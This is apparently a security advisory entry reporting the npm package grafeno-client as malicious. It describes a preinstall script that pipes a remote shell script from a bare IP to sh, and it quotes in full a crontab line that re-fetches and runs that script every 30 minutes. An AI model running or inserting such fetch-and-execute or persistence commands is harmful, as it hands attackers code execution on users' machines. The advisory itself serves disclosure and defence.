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Malicious MAL-2026-15503

grafeno-client

npm package · versions 1.0.0

Reported Aug 28, 2026 · Updated Aug 28, 2026

If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

Source: amazon-inspector (61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6)
package.json declares a preinstall script that runs curl against a bare IP over plain HTTP (http://216.126.236.46/x.sh) and pipes the response to sh, giving the remote host arbitrary code execution on the installer at npm install time. The same preinstall appends a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh|sh) that re-fetches and re-executes the remote script every 30 minutes, establishing persistence that survives removal of the npm package. The shipped index.js is a stub, so the manifest is the entire payload.